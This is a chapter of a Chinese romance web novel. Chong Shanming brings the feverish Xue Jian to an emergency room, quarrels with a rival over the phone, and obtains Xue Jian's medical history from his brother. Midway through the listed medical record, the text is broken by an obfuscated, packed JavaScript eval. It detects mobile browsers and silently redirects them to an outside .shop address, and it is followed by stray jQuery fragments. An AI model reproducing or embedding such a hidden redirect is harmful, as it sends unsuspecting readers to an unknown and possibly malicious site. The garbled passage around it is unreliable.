急诊大厅。
“体温很高啊。”
医生拿着温枪在薛简额头上测了一下,思索了一瞬,转头看向了崇山明,“你是病人家属吗,知不知道他有什么病史?”
崇山明的眉心蹙了一下,“我不清楚。”
“你不是他家里人?那最好联系一下他的父母,还有过敏史,输血史,手术史…我都要了解的。”
崇山明垂了垂眸子,睫毛在眼睑上投射出了一片阴影,明晦难辨。
“如果你处理不了,我们可以换一家医院。”
医生被气的想笑,面上还是十分平静,“先生,这是最常规的一步,无论去了哪都是有这个必要的。”
崇山明听完后俯身凑到了薛简的耳边,轻轻的摸了摸他的额头。
“薛简。”
“嗯……”
薛简整个人都要烧熟了,脸红扑扑的,眼睛睁不开,就稀里糊涂的应了一句。
“医生在问病史,我不知道。”
“我没病…”薛简张口就是这三个字,然后紧接着一句,“不去医院。”
崇山明除了拍戏这件事,从来就不知道耐心两个字怎么写。
此刻却只是眸中闪过一瞬焦灼,然后就耐着性子蹲在了床边,轻声细语的哄了几句。
薛简忽然把脸皱了起来,嘴巴一张一合的想说什么,崇山明把耳朵凑了过去,听到他说,“你…好…烦…呐…”
“你…才…有病。”
如果此刻有什么影视特效的话,应该有一群乌鸦从崇山明的头顶飞过。
“薛简。”
崇山明的声音很低,却听得出已经是发作的前兆,“别闹了。”
薛简努力的睁开了眼睛,视线却只有一片模糊,这人是谁,他想不出,大概是孤儿院的某个老师吧。
都一样凶。
薛简怕怕的缩了一下身子,把头扭了过去。
医生挑了挑眉,把薛简的手机拿起来递给了崇山明,“要不然,您联系一下他的其他亲友?”
其他亲友…
崇山明打开薛简的通话记录,看到最近的一条来电显示,直接播了过去。
几秒钟以后,那头传来了一声男音,“小简?”
崇山明用力捏紧了手机,拿开它后扯开领带,深深地呼吸了一下,又把它放回耳边。
“薛简发高烧退不下去,告诉我他的病史。”
“你是…崇山明?”
厉文谦听到以后,声音一下子染上了些许的高亢,不知道是在亢奋些什么。
然后缓慢而悠然的说了一句,“怎么轮到问我,小简没告诉你吗。”
崇山明冷笑了一声,“三秒钟。”
“一。”
“这不是问人话的态度吧。”
“二。”
“小简在哪家医院?如果你照顾不好,可以换我过去。”
崇山明没数到三,手机直接砸在了白墙上,四分五裂。
这并不是厉文谦第一次挑衅他。
上次还是在瑶光民宿,在崇山明进薛简的房间前。
厉文谦拦住了他,在崇山明视若无睹的目光中,自说自话了十分钟。
“薛简喜欢吃甜食,崇老师知道吗?但是他牙不好,又很怕去医院,我觉得我应该提醒一下,有的时候自以为是为了他好,其实是害了他。”
“我真的没什么意思,只不过他有很多小习惯,别人可能发现不了。”
“他晚上睡不好,必须抱着等身的娃娃,一定是要比自己长的,想起那个时候真有意思,和他一起睡觉,一张床好像放了三个人。”
“他有烟瘾,但是和我在一起的时候已经戒了,因为我不喜欢烟味,他两年都没碰过一次,现在似乎…又染上了?”
“崇老师最好劝劝他,薛简的肺本来就…算了,想来你也劝不动他。”
“还有崇老师,你应该也不知道吧,薛简真的太敏感了,有时候只是碰一下都能……”
还有更多的什么,崇山明已经记不清楚了。
他的胸口一起一伏,只是一瞬间,大脑又奇迹般地冷了下去。
像是一个抽离了此间肉身的灵魂俯视着自己的狼狈姿态,陪它一同嘲笑着。
崇山明自负了这许多年。
还从没有在感情里被人羞辱至此。
明明是两个人在彼此靠近,其中一个却给自己的屋子上了一把锁,让他像一个小偷一样,只能从窗子里窥视里面的秘宝。
然后另外一个人,却随意的把屋子弄的千疮百孔,再向他炫耀着,从里面掠夺出来的财物。
薛简的脖颈又被汗沾湿了,他自己像根本不知道有多危险一样,一直说着别人听不懂的胡话。
一会儿是动感光波biubiubiu,一会儿是什么小魔仙全身变…我是在地球上成长的赛亚人!还有GGBond。
崇山明没经历过太多这样的时刻,无能为力的时刻,无法思考的时刻。
那个被他摔碎了的手机还静静的在地上躺着,像是在嘲笑他的失控,他的无能。
他看了一眼薛简的样子,站起身离开了床边,走远了一些,拨通了电话。
“哥。”
程左礼抬起手机又确认了一遍来电显示,然后才放回了耳边。“嗯?怎么了。”
“帮帮我。”
程左礼诡异的沉默了三秒,“你把我弟弟怎么了?”
崇山明:“?”
“他根本不可能和我说这三个字,你知不知道我是谁,还敢来骗我?”
“…我没时间开玩笑,帮我查一个人,我要他全部的就医记录。”
程左礼的手指无意识的捻着桌上的便签,忽而笃定道,“薛简?”
崇山明眯了眯眼,“你已经查过他了?”
“算是吧,你想要的一切我这里都有。”程左礼轻笑了一下,“小安还是年纪太小了,就他一个人照顾你,我实在是不放心,怎么样,我上次说让楚辞跟着你那件事,再考虑考虑?”
崇山明嗤笑了一声,声音蓦然冷了下来,“你以为我是不想受你的控制,才不让楚辞哥来?”
“可以,薛简正好缺一个助理,如果你非要如此的话,就让他来,工资我开。”
“我们两个一直在一起,他跟着谁都没差别。还有那些东西我自己也不是查不到,只不过要稍微久一点,所以我们,各退一步。”
程左礼也知道再逼下去只会适得其反,于是说了句成交,下一秒长达10页的文档就传到了崇山明的手机上。
崇山明忽略了全部的生平往事,直接翻到了写着关键信息的地方。
血型:RH阴性
既往病史:过敏性哮喘(中度持续)
10岁痊愈,未见复发
肺功能指标偏低
免疫力低于常人<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13864296|133506||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
过敏史:青霉素、头孢菌素重度过敏,阿奇霉素轻度过敏。糖皮质激素不良反应。
外伤史:左脚踝骨裂、右腕舟骨骨折,愈后良好。
手术史:……
短短的一页,让崇山明呼吸停滞。
因为上面的每一个字,他都不知道。
甚至有一瞬间无法相信,它属于薛简。
“青霉素过敏…”
崇山明的瞳孔猛地缩了一下,转头就冲回了薛简的床边,抬手就要拎起他悬吊的药液。
“先生?”医生不解的从另一床走过来,“发生了什么,可以先和我说的。”
“他抗生素过敏!”崇山明这句话几乎是吼出来的,“你们给他输了什么?”
医生看了看崇山明,看了看薛简,又看了看吊瓶。
“葡萄糖。”
“葡萄…葡萄糖?”
她又确认的点了点头,重复了一次,“葡萄糖。”
“病人大量脱水,血糖浓度也极低,路上输了电解质溶液,要继续补充葡萄糖…护士应该给您讲过了吧,您还有什么问题?”
崇山明恢复冷静以后张了张口,看了一眼医生的胸牌,“李医生,抱歉,我刚才一时冲动。”
医生早就见怪不怪,“没关系,您一会儿最好把…”她指了指墙角四分五裂的手机,“把它收拾一下。”
“您现在先去那边挂号缴费,我需要给他查个血,呃…身份证或者医保卡带了吗?”
崇山明抿唇摇了摇头。
“去那边人工窗口。”可能是看出崇山明实在缺乏生活常识,医生无奈的喊了一个实习生,“你带他去一下吧。”
小安难得休假,人已经在三亚,崇山明边和实习生走着,边把电话再次打给了程左礼。
“喂?”
“楚辞什么时候来?”
算程晦说对了,他真的很不会照顾人。
没过半个小时,就从外面进来了一个身形高挺,面容清癯的男人。
大冷天他穿的也不多,穿了一件很能修饰身形的大衣,从指甲到头发无一不是干干净净,整个人的气质都很淡,像不想惹人注目的远山。
“小少爷。”他走到薛简的床前,对着崇山明弯了弯眼睛,“好久不见。”
楚辞身上有轻轻的墨香,让人嗅到后忍不住的放松下来。
崇山明忽而踉跄了一下,半个身子依在墙上,摘下口罩后疲惫的笑了笑,“楚辞哥。”
“我路上买了水,你们先喝一点儿。”楚辞把袋子递给了他,“刚才我已经给院长打过电话了,他马上就安排人过来,这家医院还可以,我们就不转院了,外头这么冷,对薛先生身体负担也大。”
楚辞俯身探了探薛简额头的温度,嚯了一声,“这么烫。”
“对了,口罩还是戴着吧,别病人还没好,咱们俩先倒了。”
“麻烦了,楚辞哥,谢谢你过来。”崇山明向他低了低头。
楚辞的脸一下子就红了,“别…别这么说…我一个废人整天闷在家里实在没意思,能做点儿什么,我也开心。”
“程左礼他…”
楚辞嗯了一声,“其实是我想出来,可是先生不想让我去那些乱七八糟的地方,后来才松口让我来照顾你,不过你当时没答应。”
“现在好了。”楚辞看着床上的薛简,神色莫名温柔,“能派上点儿用场就好。”